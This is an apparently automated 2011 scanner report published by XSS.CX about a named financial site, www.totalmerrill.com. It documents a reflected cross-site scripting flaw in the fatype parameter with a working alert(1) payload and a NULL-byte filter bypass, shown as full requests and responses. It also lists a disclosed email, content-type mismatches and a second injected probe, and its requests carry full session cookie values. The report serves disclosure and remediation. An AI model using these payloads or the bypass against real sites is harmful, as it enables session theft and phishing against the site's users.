XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www.totalmerrill.com

Report generated by XSS.CX at Wed Jun 29 09:43:49 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

2. Email addresses disclosed

3. Content type incorrectly stated

3.1. http://www.totalmerrill.com/publish/tm/images/modal_bull_bkg.gif

3.2. http://www.totalmerrill.com/publish/tm_grey/images/bull_logo.jpg


1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.totalmerrill.com
Path:   /TotalMerrill/system/FABranchLocator.aspx

Issue detail

The value of the fatype request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00a9af9'%3balert(1)//435cb9048ee was submitted in the fatype parameter. This input was echoed as a9af9';alert(1)//435cb9048ee in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /TotalMerrill/system/FABranchLocator.aspx?ddwnSearchType=FA&fatype=wm%00a9af9'%3balert(1)//435cb9048ee HTTP/1.1
Host: www.totalmerrill.com
Proxy-Connection: keep-alive
Referer: http://www.totalmerrill.com/TotalMerrill/system/ContactMLFindBranchOrFAModal.aspx?modal=findBranch
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=PIhI4cStJoDsGo2scTmFc7XH5xJA2Xe9hD/vJgvZMNrUoZ2M+cCXcnUXidRv5jOjPKyZumAJlIwKeWIvfrg5h8ldiUJtxJ2TLKvQzj7qS7Du6C7CxAA34sfRG0lP0mpTiDNMz0QWEIher5UfM2JpbEdlHiZgk2L+NFb2qkBBDE2DPGNxX+p/75xFnbmbNhLQQC2uZlhPGc9+R8ZoRyCiAEqeiuq/jvNKRvvDMmRL6/13zinoJI2X6lGL3qUEIYO7wkh9IsK3+RQ53UvvpDnyJjjf6C4oEO1mPrutz9uSRs7tK61QspCb3wkchvtQ+BEnTXd7odpMXW8YgTA4DprpSUns7H/5Ekp9ti0Bl3CdBNaqdXJ9+9pbpSefotOnG1QKgbxEv4RGJy9Q5FqNwkDnYGem3WBm0jZOu8dTl5Mxq/n1uDmQsnixl4XRGckR9M2Jv2alUwpSZ/B/LfJc1yob6AQQBTv/hDtNHFFQJ7AHcMPt+4iQz56ydq184P2j/Y0UliL2PZwX5ehZgBIsbFbclM9lOxkn+CCVfdHMUJZ4mJaHFxhMq5l6rR0MkU1JSmj1c0Zlt9XkBfg5LUSvlSByfSLrSUnHLNn4MI7bXLvKN9+kRzi2RFpZngQFtHjQv7rH+H04NjufBOaq5GTiBNGLqoXpo/3aPzcJ; TM_PUID=e45b9a76-ad58-4f94-8b09-13aeda1b78cf

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 12407
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Wed, 29 Jun 2011 11:56:16 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...
<script type='text/javascript'>
FAType = 'WM.A9AF9';ALERT(1)//435CB9048EE'</script>
...[SNIP]...
2. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.totalmerrill.com
Path:   /publish/tm/js/TotalMerrill/2011.06.21b/TotalMerrillCombinedJavascript.js

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /publish/tm/js/TotalMerrill/2011.06.21b/TotalMerrillCombinedJavascript.js HTTP/1.1
Host: www.totalmerrill.com
Proxy-Connection: keep-alive
Referer: http://www.totalmerrill.com/TotalMerrill/system/ContactMLFindBranchOrFAModal.aspx?modal=findBranch
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=PIhI4cStJoDsGo2scTmFc7XH5xJA2Xe9hD/vJgvZMNrUoZ2M+cCXcnUXidRv5jOjPKyZumAJlIwKeWIvfrg5h8ldiUJtxJ2TLKvQzj7qS7Du6C7CxAA34sfRG0lP0mpTiDNMz0QWEIher5UfM2JpbEdlHiZgk2L+NFb2qkBBDE2DPGNxX+p/75xFnbmbNhLQQC2uZlhPGc9+R8ZoRyCiAEqeiuq/jvNKRvvDMmRL6/13zinoJI2X6lGL3qUEIYO7wkh9IsK3+RQ53UvvpDnyJjjf6C4oEO1mPrutz9uSRs7tK61QspCb3wkchvtQ+BEnTXd7odpMXW8YgTA4DprpSUns7H/5Ekp9ti0Bl3CdBNaqdXJ9+9pbpSefotOnG1QKgbxEv4RGJy9Q5FqNwkDnYGem3WBm0jZOu8dTl5Mxq/n1uDmQsnixl4XRGckR9M2Jv2alUwpSZ/B/LfJc1yob6AQQBTv/hDtNHFFQJ7AHcMPt+4iQz56ydq184P2j/Y0UliL2PZwX5ehZgBIsbFbclM9lOxkn+CCVfdHMUJZ4mJaHFxhMq5l6rR0MkU1JSmj1c0Zlt9XkBfg5LUSvlSByfSLrSUnHLNn4MI7bXLvKN9+kRzi2RFpZngQFtHjQv7rH+H04NjufBOaq5GTiBNGLqoXpo/3aPzcJ; TM_PUID=e45b9a76-ad58-4f94-8b09-13aeda1b78cf

Response

HTTP/1.1 200 OK
Content-Length: 239961
Content-Type: application/x-javascript
Content-Location: http://www.totalmerrill.com/publish/tm/js/TotalMerrill/2011.06.21b/TotalMerrillCombinedJavascript.js
Expires: Fri, 01 Jan 2016 04:00:00 GMT
Last-Modified: Tue, 21 Jun 2011 19:14:21 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 29 Jun 2011 11:55:46 GMT


var Prototype={Version:'1.5.1.1',Browser:{IE:!!(window.attachEvent&&!window.opera),Opera:!!window.opera,WebKit:navigator.userAgent.indexOf('AppleWebKit/')>-1,Gecko:navigator.userAgent.indexOf('Gecko'
...[SNIP]...
'/') + 1);    
   if(sPage.toLowerCase().indexOf('sendtoafriend')!=-1)
   {
       var txtEmail = document.getElementById('ctl00_MainContent_EmailFriend1_txtEmailAddress');
       if(txtEmail)
       {
           txtEmail.value = 'totalmerrillsupport@ml.com';
           var objParent = txtEmail.parentNode.parentNode;
           if(objParent)
               objParent.style.display = 'none';
       }        
   }        
}

onloadQueue.push(AddLinkedlnImage);

function AddLinkedlnImage()
{
if(win
...[SNIP]...
3. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

3.1. http://www.totalmerrill.com/publish/tm/images/modal_bull_bkg.gif  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.totalmerrill.com
Path:   /publish/tm/images/modal_bull_bkg.gif

Issue detail

The response contains the following Content-type statement:The response states that it contains a GIF image. However, it actually appears to contain a JPEG image.

Request

GET /publish/tm/images/modal_bull_bkg.gif HTTP/1.1
Host: www.totalmerrill.com
Proxy-Connection: keep-alive
Referer: http://www.totalmerrill.com/TotalMerrill/system/ContactMLFindBranchOrFAModal.aspx?modal=findBranch
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=PIhI4cStJoDsGo2scTmFc7XH5xJA2Xe9hD/vJgvZMNrUoZ2M+cCXcnUXidRv5jOjPKyZumAJlIwKeWIvfrg5h8ldiUJtxJ2TLKvQzj7qS7Du6C7CxAA34sfRG0lP0mpTiDNMz0QWEIher5UfM2JpbEdlHiZgk2L+NFb2qkBBDE2DPGNxX+p/75xFnbmbNhLQQC2uZlhPGc9+R8ZoRyCiAEqeiuq/jvNKRvvDMmRL6/13zinoJI2X6lGL3qUEIYO7wkh9IsK3+RQ53UvvpDnyJjjf6C4oEO1mPrutz9uSRs7tK61QspCb3wkchvtQ+BEnTXd7odpMXW8YgTA4DprpSUns7H/5Ekp9ti0Bl3CdBNaqdXJ9+9pbpSefotOnG1QKgbxEv4RGJy9Q5FqNwkDnYGem3WBm0jZOu8dTl5Mxq/n1uDmQsnixl4XRGckR9M2Jv2alUwpSZ/B/LfJc1yob6AQQBTv/hDtNHFFQJ7AHcMPt+4iQz56ydq184P2j/Y0UliL2PZwX5ehZgBIsbFbclM9lOxkn+CCVfdHMUJZ4mJaHFxhMq5l6rR0MkU1JSmj1c0Zlt9XkBfg5LUSvlSByfSLrSUnHLNn4MI7bXLvKN9+kRzi2RFpZngQFtHjQv7rH+H04NjufBOaq5GTiBNGLqoXpo/3aPzcJ; TM_PUID=e45b9a76-ad58-4f94-8b09-13aeda1b78cf

Response

HTTP/1.1 200 OK
Content-Length: 27713
Content-Type: image/gif
Content-Location: http://www.totalmerrill.com/publish/tm/images/modal_bull_bkg.gif
Expires: Fri, 01 Jan 2016 04:00:00 GMT
Last-Modified: Wed, 16 Sep 2009 16:20:46 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 29 Jun 2011 11:55:53 GMT

......JFIF.....H.H.....yExif..MM.*.............................b...........j.(...........1.........r.2...........i...............
....'..
....'.Adobe Photoshop CS2 Windows.2009:09:16 11:11:36.........
...[SNIP]...
3.2. http://www.totalmerrill.com/publish/tm_grey/images/bull_logo.jpg  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.totalmerrill.com
Path:   /publish/tm_grey/images/bull_logo.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /publish/tm_grey/images/bull_logo.jpg HTTP/1.1
Host: www.totalmerrill.com
Proxy-Connection: keep-alive
Referer: http://www.totalmerrill.com/TotalMerrill/system/ContactMLFindBranchOrFAModal.aspx?modal=findBranch%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x000025)%3C%2Fscript%3E
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TM_PUID=e45b9a76-ad58-4f94-8b09-13aeda1b78cf; SMIDENTITY=2bRQLOTYqJfaCmlkR7hK9Jhv/rRpada95UAQ+W1UsoYRBDjZIX+4BLYWzOqTRjRrg/N07mXv8kBEk2Yn/VZl+jrFCWEmM9USPHCaol3XT5VEJvaIVq67TgQ6oO8diy/Pc0OZQXaA2VtqYzlpDWKzKaKG01sx84pXkoqVfAc7S6RcmFq4F0I2oDRzyNZMavMLXhI+9LQMpMMyKusFPaw8YphqXnGTfGSZL8g5IMA5Qcwox+ZoAXg+hzfoPUphW2BcuhUIPwAth7qXXqzvMmyi/AF2aA6G4H7ekHH0a29aVjaQruHOs95A5lzFWSi6gC9RzUdAPo+lGjzTSjNsUVcms103tYjj0n4TzAhPX/ARjEYPG8ZZj4BcILffBRhficDV6KLAsAA9Ks8pheGZS/WHLNhOEHN3wkXc9iXBoZjejgNG+oVbBfw8V9QFul2fMWHbgpZ32mGaSAAB5JXyZmMCnat2DXR5kIm17gbPA6+7egRzx0pg7KTVtSy2I9Y85epnxCHHaJsdQIj6CVCL7hctfToC92u3ELdZ6jN4eGLf5GZqzBeOM2CskgpUTZQlqNknqFkJ3cqZ2fm5UdHsEI4HxwZ0jUlkS0JoNW0+cibaTjlK0uHaVw5UzWvyxRou6tfnLMpbFGEGUdSafmw9kDMlMnTu0U4SMh9T

Response

HTTP/1.1 200 OK
Content-Length: 3804
Content-Type: image/jpeg
Content-Location: http://www.totalmerrill.com/publish/tm_grey/images/bull_logo.jpg
Last-Modified: Wed, 25 Mar 2009 19:58:05 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 29 Jun 2011 14:04:33 GMT

GIF89a..(.....................=..@.............%G."B.(I....-M.1O.<Y.Ea....7U.5R.:W.B^"Mg)Qj3Xp..........5R.2P.5R.?[.Jd-Xp5\s;bxFjUx.r..k..............................7T.:W
@\.D^.Fa.Ni'Vn,[s1_v9f|c..t
...[SNIP]...
Report generated by XSS.CX at Wed Jun 29 09:43:49 CDT 2011.